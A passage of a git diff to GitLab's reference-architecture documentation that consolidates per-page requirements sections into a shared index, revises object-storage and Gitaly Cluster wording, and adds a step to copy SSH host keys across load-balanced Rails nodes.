processes](../sidekiq/extra_sidekiq_processes.md). ## Configure GitLab Rails This section describes how to configure the GitLab application (Rails) component. -Because you must use [Object storage](#configure-the-object-storage) instead of NFS for data objects, the following + +Rails requires connections to the [Redis](#configure-redis), +[PostgreSQL](#configure-postgresql) and [Gitaly](#configure-gitaly) instances. +It also requires a connection to [Object Storage](#configure-the-object-storage) as recommended. + +NOTE: +[Because it's recommended to use Object storage](../object_storage.md) instead of NFS for data objects, the following examples include the Object storage configuration. The following IPs will be used as an example: @@ -2085,6 +2043,10 @@ On each node perform the following: 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. +1. Copy the SSH host keys (all in the name format `/etc/ssh/ssh_host_*_key*`) from the first Omnibus node you configured and + add or replace the files of the same name on this server. This ensures host mismatch errors aren't thrown + for your users as they hit the load balanced Rails nodes. If this is the first Omnibus node you are configuring, + then you can skip this step. 1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: ```shell @@ -2219,16 +2181,10 @@ To configure the Monitoring node: ## Configure the object storage -GitLab supports using an object storage service for holding numerous types of data. - -GitLab has been tested on a number of object storage providers: - -- [Amazon S3](https://aws.amazon.com/s3/) -- [Google Cloud Storage](https://cloud.google.com/storage) -- [Digital Ocean Spaces](https://www.digitalocean.com/products/spaces) -- [Oracle Cloud Infrastructure](https://docs.oracle.com/en-us/iaas/Content/Object/Tasks/s3compatibleapi.htm) -- [OpenStack Swift (S3 compatibility mode)](https://docs.openstack.org/swift/latest/s3_compat.html) -- MinIO. We have [a guide to deploying this](https://docs.gitlab.com/charts/advanced/external-object-storage/minio.html) within our Helm Chart documentation. +GitLab supports using an [object storage](../object_storage.md) service for holding numerous types of data. +It's recommended over [NFS](../nfs.md) for data objects and in general it's better +in larger setups as object storage is typically much more performant, reliable, +and scalable. There are two ways of specifying object storage configuration in GitLab: @@ -2355,7 +2311,9 @@ services where applicable): - [Google Cloud Load Balancing](https://cloud.google.com/load-balancing) and [Amazon Elastic Load Balancing](https://aws.amazon.com/elasticloadbalancing/) are known to work. 4. Should be run on reputable Cloud Provider or Self Managed solutions. More information can be found in the [Configure the object storage](#configure-the-object-storage) section. 5. Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). If you want sharded Gitaly, use the same specs listed above for `Gitaly`. -6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to the [Large Repositories](#large-repositories) for more info. +6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large + repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to + [Large repositories](index.md#large-repositories) for more information. <!-- markdownlint-enable MD029 --> NOTE: diff --git a/doc/administration/reference_architectures/2k_users.md b/doc/administration/reference_architectures/2k_users.md index f41c8e9cb24..ee26504902c 100644 --- a/doc/administration/reference_architectures/2k_users.md +++ b/doc/administration/reference_architectures/2k_users.md @@ -42,11 +42,13 @@ For a full list of reference architectures, see 3. Can be optionally run on reputable third-party load balancing services (LB PaaS). See [Recommended cloud providers and services](index.md#recommended-cloud-providers-and-services) for more information. - [Google Cloud Load Balancing](https://cloud.google.com/load-balancing) and [Amazon Elastic Load Balancing](https://aws.amazon.com/elasticloadbalancing/) are known to work. 4. Should be run on reputable Cloud Provider or Self Managed solutions. More information can be found in the [Configure the object storage](#configure-the-object-storage) section. -5. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to the [Large Repositories](#large-repositories) for more info. +5. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large + repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to + [Large repositories](index.md#large-repositories) for more information. <!-- markdownlint-enable MD029 --> NOTE: -For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices. +For all PaaS solutions that involve configuring instances, it's recommended to deploy them over multiple availability zones for resilience if desired. ```plantuml @startuml 2k @@ -80,59 +82,7 @@ monitor .[#7FFFD4,norank]u--> elb ## Requirements -Before starting, you should take note of the following requirements / guidance for this reference architecture. - -### Supported CPUs - -This reference architecture was built and tested on Google Cloud Platform (GCP) using the -[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms) -CPU platform as a baseline ([Sysbench benchmark](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Reference-Architectures/GCP-CPU-Benchmarks)). - -Newer, similarly sized CPUs are supported and may have improved performance as a result. For Omnibus environments, ARM-based equivalents are also supported. - -NOTE: -Any "burstable" instance types are not recommended due to inconsistent performance. - -### Supported infrastructure - -As a general guidance, GitLab should run on most infrastructure such as reputable Cloud Providers (AWS, GCP) and their services, -or self managed (ESXi) that meet both the specs detailed above, as well as any requirements in this section. -However, this does not constitute a guarantee for every potential permutation. - -See [Recommended cloud providers and services](index.md#recommended-cloud-providers-and-services) for more information. - -### Additional workloads - -The Reference Architectures have been [designed and tested](index.md#validation-and-test-results) for standard GitLab setups with -good headroom in mind to cover most scenarios. However, if any additional workloads are being added on the nodes, -such as security software, you may still need to adjust the specs accordingly to compensate. - -This also applies for some GitLab features where it's possible to run custom scripts, for example [server hooks](../server_hooks.md). - -As a general rule, it's recommended to have robust monitoring in place to measure the impact of -any additional workloads to inform any changes needed to be made. - -### Large repositories - -The Reference Architectures were tested with repositories of varying sizes that follow best practices. - -However, large repositories or monorepos (several gigabytes or more) can **significantly** impact the performance -of Git and in turn the environment itself if best practices aren't being followed such as not storing -binary or blob files in LFS. Repositories are at the core of any environment the consequences can be wide-ranging -when they are not optimized. Some examples of this impact include [Git packing operations](https://git-scm.com/book/en/v2/Git-Internals-Packfiles) -taking longer and consuming high CPU / Memory resources or Git checkouts taking longer that affect both users and -CI pipelines alike. - -As such, large repositories come with notable cost and typically will require more resources to handle, -significantly so in some cases. It's therefore **strongly** recommended then to review large repositories -to ensure they maintain good health and reduce their size wherever possible. - -NOTE: -If best practices aren't followed and large repositories are present on the environment, -increased Gitaly specs may be required to ensure stable performance. - -Refer to the [Managing large repositories documentation](../../user/project/repository/managing_large_repositories.md) -for more information and guidance. +Before starting, see the [requirements](index.md#requirements) for reference architectures. ## Setup components @@ -460,14 +410,14 @@ specifically the number of projects and those projects' sizes. NOTE: Increased specs for Gitaly nodes may be required in some circumstances such as -significantly large repositories or if any [additional workloads](#additional-workloads), +significantly large repositories or if any [additional workloads](index.md#additional-workloads), such as [server hooks](../server_hooks.md), have been added. NOTE: Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos not following these practices can significantly impact Gitaly performance and requirements. -Refer to the [Large Repositories](#large-repositories) for more info. +Refer to [Large repositories](index.md#large-repositories) for more information. Due to Gitaly having notable input and output requirements, we strongly recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs @@ -924,17 +874,10 @@ running [Prometheus](../monitoring/prometheus/index.md) and ## Configure the object storage -GitLab supports using an object storage service for holding numerous types of data. - -GitLab has been tested on a number of object storage providers: - -- [Amazon S3](https://aws.amazon.com/s3/) -- [Google Cloud Storage](https://cloud.google.com/storage) -- [Digital Ocean Spaces](https://www.digitalocean.com/products/spaces) -- [Oracle Cloud Infrastructure](https://docs.oracle.com/en-us/iaas/Content/Object/Tasks/s3compatibleapi.htm) -- [OpenStack Swift (S3 compatibility mode)](https://docs.openstack.org/swift/latest/s3_compat.html) -- [Azure Blob storage](https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction) -- MinIO. We have [a guide to deploying this](https://docs.gitlab.com/charts/advanced/external-object-storage/minio.html) within our Helm Chart documentation. +GitLab supports using an [object storage](../object_storage.md) service for holding numerous types of data. +It's recommended over [NFS](../nfs.md) for data objects and in general it's better +in larger setups as object storage is typically much more performant, reliable, +and scalable. There are two ways of specifying object storage configuration in GitLab: diff --git a/doc/administration/reference_architectures/3k_users.md b/doc/administration/reference_architectures/3k_users.md index 008b5ffcc0e..1d5dad02b18 100644 --- a/doc/administration/reference_architectures/3k_users.md +++ b/doc/administration/reference_architectures/3k_users.md @@ -59,7 +59,9 @@ For a full list of reference architectures, see - [Google Cloud Load Balancing](https://cloud.google.com/load-balancing) and [Amazon Elastic Load Balancing](https://aws.amazon.com/elasticloadbalancing/) are known to work. 4. Should be run on reputable Cloud Provider or Self Managed solutions. More information can be found in the [Configure the object storage](#configure-the-object-storage) section. 5. Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). If you want sharded Gitaly, use the same specs listed above for `Gitaly`. -6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to the [Large Repositories](#large-repositories) for more info. +6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large + repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to + [Large repositories](index.md#large-repositories) for more information. <!-- markdownlint-enable MD029 --> NOTE: @@ -150,66 +152,7 @@ monitor .[#7FFFD4,norank]u--> elb ## Requirements -Before starting, you should take note of the following requirements / guidance for this reference architecture. - -### Supported CPUs - -This reference architecture was built and tested on Google Cloud Platform (GCP) using the -[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms) -CPU platform as a baseline ([Sysbench benchmark](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Reference-Architectures/GCP-CPU-Benchmarks)). - -Newer, similarly sized CPUs are supported and may have improved performance as a result. For Omnibus environments, ARM-based equivalents are also supported. - -NOTE: -Any "burstable" instance types are not recommended due to inconsistent performance. - -### Supported infrastructure - -As a general guidance, GitLab should run on most infrastructure such as reputable Cloud Providers (AWS, GCP) and their services, -or self managed (ESXi) that meet both the specs detailed above, as well as any requirements in this section. -However, this does not constitute a guarantee for every potential permutation. - -See [Recommended cloud providers and services](index.md#recommended-cloud-providers-and-services) for more information. - -### Additional workloads - -The Reference Architectures have been [designed and tested](index.md#validation-and-test-results) for standard GitLab setups with -good headroom in mind to cover most scenarios. However, if any additional workloads are being added on the nodes, -such as security software, you may still need to adjust the specs accordingly to compensate. - -This also applies for some GitLab features where it's possible to run custom scripts, for example [server hooks](../server_hooks.md). - -As a general rule, it's recommended to have robust monitoring in place to measure the impact of -any additional workloads to inform any changes needed to be made. - -### Large repositories - -The Reference Architectures were tested with repositories of varying sizes that follow best practices. - -However, large repositories or monorepos (several gigabytes or more) can **significantly** impact the performance -of Git and in turn the environment itself if best practices aren't being followed such as not storing -binary or blob files in LFS. Repositories are at the core of any environment the consequences can be wide-ranging -when they are not optimized. Some examples of this impact include [Git packing operations](https://git-scm.com/book/en/v2/Git-Internals-Packfiles) -taking longer and consuming high CPU / Memory resources or Git checkouts taking longer that affect both users and -CI pipelines alike. - -As such, large repositories come with notable cost and typically will require more resources to handle, -significantly so in some cases. It's therefore **strongly** recommended then to review large repositories -to ensure they maintain good health and reduce their size wherever possible. - -NOTE: -If best practices aren't followed and large repositories are present on the environment, -increased Gitaly specs may be required to ensure stable performance. - -Refer to the [Managing large repositories documentation](../../user/project/repository/managing_large_repositories.md) -for more information and guidance. - -### Praefect PostgreSQL - -It's worth noting that at this time [Praefect requires its own database server](../gitaly/praefect.md#postgresql) and -that to achieve full High Availability a third-party PostgreSQL database solution will be required. -We hope to offer a built in solutions for these restrictions in the future but in the meantime a non HA PostgreSQL server -can be set up via Omnibus GitLab, which the above specs reflect. Refer to the following issues for more information: [`omnibus-gitlab#5919`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919) & [`gitaly#3398`](https://gitlab.com/gitlab-org/gitaly/-/issues/3398). +Before starting, see the [requirements](index.md#requirements) for reference architectures. ## Setup components @@ -1003,7 +946,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. PostgreSQL, with Patroni managing its failover, will default to use `pg_rewind` by default to handle conflicts. Like most failover handling methods, this has a small chance of leading to data loss. -Learn more about the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method). +For more information, see the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method). 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. @@ -1164,18 +1107,25 @@ The following IPs will be used as an example: ## Configure Gitaly Cluster -[Gitaly Cluster](../gitaly/praefect.md) is a GitLab provided and recommended fault tolerant solution for storing Git repositories. -In this configuration, every Git repository is stored on every Gitaly node in the cluster, with one being designated the primary, and failover occurs automatically if the primary node goes down. +[Gitaly Cluster](../gitaly/praefect.md) is a GitLab-provided and recommended fault tolerant solution for storing Git +repositories. In this configuration, every Git repository is stored on every Gitaly node in the cluster, with one being +designated the primary, and failover occurs automatically if the primary node goes down. -NOTE: -Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). -For implementations with sharded Gitaly, use the same Gitaly specs. Follow the [separate Gitaly documentation](../gitaly/configure_gitaly.md) instead of this section. +Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. +Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). + +For guidance on: + +- Implementing sharded Gitaly instead, follow the [separate Gitaly documentation](../gitaly/configure_gitaly.md) + instead of this section. Use the same Gitaly specs. +- Migrating existing repositories that aren't managed by Gitaly Cluster, see + [migrate to Gitaly Cluster](../gitaly/index.md#migrate-to-gitaly-cluster). NOTE: Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos not following these practices can significantly impact Gitaly performance and requirements. -Refer to the [Large Repositories](#large-repositories) for more info. +Refer to [Large repositories](index.md#large-repositories) for more information. The recommended cluster setup includes the following components: @@ -1184,9 +1134,9 @@ The recommended cluster setup includes the following components: - 1 Praefect PostgreSQL node: Database server for Praefect. A third-party solution is required for Praefect database connections to be made highly available. - 1 load balancer: A load balancer is required for Praefect. The - [internal load balancer](#configure-the-internal-load-balancer) will be used. + [internal load balancer](#configure-the-internal-load-balancer) is used. -This section will detail how to configure the recommended standard setup in order. +This section details how to configure the recommended standard setup in order. For more advanced setups refer to the [standalone Gitaly Cluster documentation](../gitaly/praefect.md). ### Configure Praefect PostgreSQL @@ -1482,14 +1432,14 @@ requirements that are dependent on data and load. NOTE: Increased specs for Gitaly nodes may be required in some circumstances such as -significantly large repositories or if any [additional workloads](#additional-workloads), +significantly large repositories or if any [additional workloads](index.md#additional-workloads), such as [server hooks](../server_hooks.md), have been added. NOTE: Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos not following these practices can significantly impact Gitaly performance and requirements. -Refer to the [Large Repositories](#large-repositories) for more info. +Refer to the [Large repositories](index.md#large-repositories) for more information. Due to Gitaly having notable input and output requirements, we strongly recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs @@ -1708,7 +1658,10 @@ To configure Praefect with TLS: Sidekiq requires connection to the [Redis](#configure-redis), [PostgreSQL](#configure-postgresql) and [Gitaly](#configure-gitaly) instances. -Because you must use [Object storage](#configure-the-object-storage) instead of NFS for data objects, the following +It also requires a connection to [Object Storage](#configure-the-object-storage) as recommended. + +NOTE: +[Because it's recommended to use Object storage](../object_storage.md) instead of NFS for data objects, the following examples include the Object storage configuration. The following IPs will be used as an example: @@ -1876,7 +1829,13 @@ run [multiple Sidekiq processes](../sidekiq/extra_sidekiq_processes.md). ## Configure GitLab Rails This section describes how to configure the GitLab application (Rails) component. -Because you must use [Object storage](#configure-the-object-storage) instead of NFS for data objects, the following + +Rails requires connections to the [Redis](#configure-redis), +[PostgreSQL](#configure-postgresql) and [Gitaly](#configure-gitaly) instances. +It also requires a connection to [Object Storage](#configure-the-object-storage) as recommended. + +NOTE: +[Because it's recommended to use Object storage](../object_storage.md) instead of NFS for data objects, the following examples include the Object storage configuration. On each node perform the following: @@ -2016,6 +1975,10 @@ On each node perform the following: 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. +1. Copy the SSH host keys (all in the name format `/etc/ssh/ssh_host_*_key*`) from the first Omnibus node you configured and + add or replace the files of the same name on this server. This ensures host mismatch errors aren't thrown + for your users as they hit the load balanced Rails nodes. If this is the first Omnibus node you are configuring, + then you can skip this step. 1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: ```shell @@ -2165,16 +2128,10 @@ running [Prometheus](../monitoring/prometheus/index.md) and ## Configure the object storage -GitLab supports using an object storage service for holding numerous types of data. - -GitLab has been tested on a number of object storage providers: - -- [Amazon S3](https://aws.amazon.com/s3/) -- [Google Cloud Storage](https://cloud.google.com/storage) -- [Digital Ocean Spaces](https://www.digitalocean.com/products/spaces) -- [Oracle Cloud Infrastructure](https://docs.oracle.com/en-us/iaas/Content/Object/Tasks/s3compatibleapi.htm) -- [OpenStack Swift (S3 compatibility mode)](https://docs.openstack.org/swift/latest/s3_compat.html) -- MinIO. We have [a guide to deploying this](https://docs.gitlab.com/charts/advanced/external-object-storage/minio.html) within our Helm Chart documentation. +GitLab supports using an [object storage](../object_storage.md) service for holding numerous types of data. +It's recommended over [NFS](../nfs.md) for data objects and in general it's better +in larger setups as object storage is typically much more performant, reliable, +and scalable. There are two ways of specifying object storage configuration in GitLab: @@ -2324,7 +2281,9 @@ services where applicable): - [Google Cloud Load Balancing](https://cloud.google.com/load-balancing) and [Amazon Elastic Load Balancing](https://aws.amazon.com/elasticloadbalancing/) are known to work. 4. Should be run on reputable Cloud Provider or Self Managed solutions. More information can be found in the [Configure the object storage](#configure-the-object-storage) section. 5. Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). If you want sharded Gitaly, use the same specs listed above for `Gitaly`. -6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to the [Large Repositories](#large-repositories) for more info. +6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large + repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to + [Large repositories](index.md#large-repositories) for more information. <!-- markdownlint-enable MD029 --> NOTE: diff --git a/doc/administration/reference_architectures/50k_users.md b/doc/administration/reference_architectures/50k_users.md index 87d1408b568..3bcffa8f606 100644 --- a/doc/administration/reference_architectures/50k_users.md +++ b/doc/administration/reference_architectures/50k_users.md @@ -50,7 +50,9 @@ full list of reference architectures, see - [Google Cloud Load Balancing](https://cloud.google.com/load-balancing) and [Amazon Elastic Load Balancing](https://aws.amazon.com/elasticloadbalancing/) are known to work. 4. Should be run on reputable Cloud Provider or Self Managed solutions. More information can be found in the [Configure the object storage](#configure-the-object-storage) section. 5. Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). If you want sharded Gitaly, use the same specs listed above for `Gitaly`. -6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to the [Large Repositories](#large-repositories) for more info. +6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large + repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to + [Large repositories](index.md#large-repositories) for more information. <!-- markdownlint-enable MD029 --> NOTE: @@ -144,66 +146,7 @@ monitor .[#7FFFD4,norank]u--> elb ## Requirements -Before starting, you should take note of the following requirements / guidance for this reference architecture. - -### Supported CPUs - -This reference architecture was built and tested on Google Cloud Platform (GCP) using the -[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms) -CPU platform as a baseline ([Sysbench benchmark](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Reference-Architectures/GCP-CPU-Benchmarks)). - -Newer, similarly sized CPUs are supported and may have improved performance as a result. For Omnibus environments, ARM-based equivalents are also supported. - -NOTE: -Any "burstable" instance types are not recommended due to inconsistent performance. - -### Supported infrastructure - -As a general guidance, GitLab should run on most infrastructure such as reputable Cloud Providers (AWS, GCP, Azure) and their services, -or self managed (ESXi) that meet both the specs detailed above, as well as any requirements in this section. -However, this does not constitute a guarantee for every potential permutation. - -See [Recommended cloud providers and services](index.md#recommended-cloud-providers-and-services) for more information. - -### Additional workloads - -The Reference Architectures have been [designed and tested](index.md#validation-and-test-results) for standard GitLab setups with -good headroom in mind to cover most scenarios. However, if any additional workloads are being added on the nodes, -such as security software, you may still need to adjust the specs accordingly to compensate. - -This also applies for some GitLab features where it's possible to run custom scripts, for example [server hooks](../server_hooks.md). - -As a general rule, it's recommended to have robust monitoring in place to measure the impact of -any additional workloads to inform any changes needed to be made. - -### Large repositories - -The Reference Architectures were tested with repositories of varying sizes that follow best practices. - -However, large repositories or monorepos (Several gigabytes or more) can **significantly** impact the performance -of Git and in turn the environment itself if best practices aren't being followed such as not storing -binary or blob files in LFS. Repositories are at the core of any environment the consequences can be wide-ranging -when they are not optimized. Some examples of this impact include [Git packing operations](https://git-scm.com/book/en/v2/Git-Internals-Packfiles) -taking longer and consuming high CPU / Memory resources or Git checkouts taking longer that affect both users and -CI pipelines alike. - -As such, large repositories come with notable cost and typically will require more resources to handle, -significantly so in some cases. It's therefore **strongly** recommended then to review large repositories -to ensure they maintain good health and reduce their size wherever possible. - -NOTE: -If best practices aren't followed and large repositories are present on the environment, -increased Gitaly specs may be required to ensure stable performance. - -Refer to the [Managing large repositories documentation](../../user/project/repository/managing_large_repositories.md) -for more information and guidance. - -### Praefect PostgreSQL - -It's worth noting that at this time [Praefect requires its own database server](../gitaly/praefect.md#postgresql) and -that to achieve full High Availability a third-party PostgreSQL database solution will be required. -We hope to offer a built in solutions for these restrictions in the future but in the meantime a non HA PostgreSQL server -can be set up via Omnibus GitLab, which the above specs reflect. Refer to the following issues for more information: [`omnibus-gitlab#5919`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919) & [`gitaly#3398`](https://gitlab.com/gitlab-org/gitaly/-/issues/3398). +Before starting, see the [requirements](index.md#requirements) for reference architectures. ## Setup components @@ -720,7 +663,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. PostgreSQL, with Patroni managing its failover, will default to use `pg_rewind` by default to handle conflicts. Like most failover handling methods, this has a small chance of leading to data loss. -Learn more about the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method). +For more information, see the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method). 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. @@ -1222,18 +1165,25 @@ Advanced [configuration options](https://docs.gitlab.com/omnibus/settings/redis. ## Configure Gitaly Cluster -[Gitaly Cluster](../gitaly/praefect.md) is a GitLab provided and recommended fault tolerant solution for storing Git repositories. -In this configuration, every Git repository is stored on every Gitaly node in the cluster, with one being designated the primary, and failover occurs automatically if the primary node goes down. +[Gitaly Cluster](../gitaly/praefect.md) is a GitLab-provided and recommended fault tolerant solution for storing Git +repositories. In this configuration, every Git repository is stored on every Gitaly node in the cluster, with one being +designated the primary, and failover occurs automatically if the primary node goes down. -NOTE: -Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). -For implementations with sharded Gitaly, use the same Gitaly specs. Follow the [separate Gitaly documentation](../gitaly/configure_gitaly.md) instead of this section. +Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. +Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). + +For guidance on: + +- Implementing sharded Gitaly instead, follow the [separate Gitaly documentation](../gitaly/configure_gitaly.md) + instead of this section. Use the same Gitaly specs. +- Migrating existing repositories that aren't managed by Gitaly Cluster, see + [migrate to Gitaly Cluster](../gitaly/index.md#migrate-to-gitaly-cluster). NOTE: Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos not following these practices can significantly impact Gitaly performance and requirements. -Refer to the [Large Repositories](#large-repositories) for more info. +Refer to [Large repositories](index.md#large-repositories) for more information. The recommended cluster setup includes the following components: @@ -1242,9 +1192,9 @@ The recommended cluster setup includes the following components: - 1 Praefect PostgreSQL node: Database server for Praefect. A third-party solution is required for Praefect database connections to be made highly available. - 1 load balancer: A load balancer is required for Praefect. The - [internal load balancer](#configure-the-internal-load-balancer) will be used. + [internal load balancer](#configure-the-internal-load-balancer) is used. -This section will detail how to configure the recommended standard setup in order. +This section details how to configure the recommended standard setup in order. For more advanced setups refer to the [standalone Gitaly Cluster documentation](../gitaly/praefect.md). ### Configure Praefect PostgreSQL @@ -1543,14 +1493,14 @@ requirements that are dependent on data and load. NOTE: Increased specs for Gitaly nodes may be required in some circumstances such as -significantly large repositories or if any [additional workloads](#additional-workloads), +significantly large repositories or if any [additional workloads](index.md#additional-workloads), such as [server hooks](../server_hooks.md), have been added. NOTE: Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos not following these practices can significantly impact Gitaly performance and requirements. -Refer to the [Large Repositories](#large-repositories) for more info. +Refer to [Large repositories](index.md#large-repositories) for more information. Due to Gitaly having notable input and output requirements, we strongly recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs @@ -1769,7 +1719,10 @@ To configure Praefect with TLS: Sidekiq requires connection to the [Redis](#configure-redis), [PostgreSQL](#configure-postgresql) and [Gitaly](#configure-gitaly) instances. -Because you must use [Object storage](#configure-the-object-storage) instead of NFS for data objects, the following +It also requires a connection to [Object Storage](#configure-the-object-storage) as recommended. + +NOTE: +[Because it's recommended to use Object storage](../object_storage.md) instead of NFS for data objects, the following examples include the Object storage configuration. - `10.6.0.101`: Sidekiq 1 @@ -1938,7 +1891,13 @@ run [multiple Sidekiq processes](../sidekiq/extra_sidekiq_processes.md). ## Configure GitLab Rails This section describes how to configure the GitLab application (Rails) component. -Because you must use [Object storage](#configure-the-object-storage) instead of NFS for data objects, the following + +Rails requires connections to the [Redis](#configure-redis), +[PostgreSQL](#configure-postgresql) and [Gitaly](#configure-gitaly) instances. +It also requires a connection to [Object Storage](#configure-the-object-storage) as recommended. + +NOTE: +[Because it's recommended to use Object storage](../object_storage.md) instead of NFS for data objects, the following examples include the Object storage configuration. The following IPs will be used as an example: @@ -2221,16 +2180,10 @@ To configure the Monitoring node: ## Configure the object storage -GitLab supports using an object storage service for holding numerous types of data. - -GitLab has been tested on a number of object storage providers: - -- [Amazon S3](https://aws.amazon.com/s3/) -- [Google Cloud Storage](https://cloud.google.com/storage) -- [Digital Ocean Spaces](https://www.digitalocean.com/products/spaces) -- [Oracle Cloud Infrastructure](https://docs.oracle.com/en-us/iaas/Content/Object/Tasks/s3compatibleapi.htm) -- [OpenStack Swift (S3 compatibility mode)](https://docs.openstack.org/swift/latest/s3_compat.html) -- MinIO. We have [a guide to deploying this](https://docs.gitlab.com/charts/advanced/external-object-storage/minio.html) within our Helm Chart documentation. +GitLab supports using an [object storage](../object_storage.md) service for holding numerous types of data. +It's recommended over [NFS](../nfs.md) for data objects and in general it's better +in larger setups as object storage is typically much more performant, reliable, +and scalable. There are two ways of specifying object storage configuration in GitLab: @@ -2357,7 +2310,9 @@ services where applicable): - [Google Cloud Load Balancing](https://cloud.google.com/load-balancing) and [Amazon Elastic Load Balancing](https://aws.amazon.com/elasticloadbalancing/) are known to work. 4. Should be run on reputable Cloud Provider or Self Managed solutions. More information can be found in the [Configure the object storage](#configure-the-object-storage) section. 5. Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). If you want sharded Gitaly, use the same specs listed above for `Gitaly`. -6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to the [Large Repositories](#large-repositories) for more info. +6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large + repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to + [Large repositories](index.md#large-repositories) for more information. <!-- markdownlint-enable MD029 --> NOTE: diff --git a/doc/administration/reference_architectures/5k_users.md b/doc/administration/reference_architectures/5k_users.md index 182edb82b5f..691f71289c3 100644 --- a/doc/administration/reference_architectures/5k_users.md +++ b/doc/administration/reference_architectures/5k_users.md @@ -56,7 +56,9 @@ costly-to-operate environment by using the - [Google Cloud Load Balancing](https://cloud.google.com/load-balancing) and [Amazon Elastic Load Balancing](https://aws.amazon.com/elasticloadbalancing/) are known to work. 4. Should be run on reputable Cloud Provider or Self Managed solutions. More information can be found in the [Configure the object storage](#configure-the-object-storage) section. 5. Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). If you want sharded Gitaly, use the same specs listed above for `Gitaly`. -6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or 